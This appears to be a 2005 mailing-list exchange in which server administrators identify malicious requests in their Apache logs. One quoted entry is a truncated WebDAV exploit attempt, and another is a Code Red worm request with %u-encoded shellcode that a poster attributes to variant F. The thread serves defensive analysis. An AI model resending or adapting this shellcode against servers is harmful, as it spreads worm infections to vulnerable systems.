Last time I have checked my apache log files, I made a
funny discovery.

There was the following logfile entry:

###############################################
84.XX.XX.159 - - [31/Jan/2005:22:46:38 +0000] "SEARCH 
/\x90\x02\xb1\x02\xb1\x02\xb1\x02\xb1\[...]
###############################################

I'm pretty sure that's codered, I too have it in my logs:
<<snip another log snippet>>

No -- it's (probably) an attempt to exploit the IIS WebDAV vuln.

I'm also seeing this one, IIS exploit for sure:

24.90.195.225 - - [24/Feb/2005:05:51:28 -0500] "GET /default.ida?
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858
%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u000
3%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 286

_That_ is CodeRed and specifically one of CodeRed.C, .D or .F -- most 
likely CodeRed.F as that variant has the drop-dead date "fixed" such 
that it will still run on machines with correctly set dates and we do 
still see a few machines infected with it.
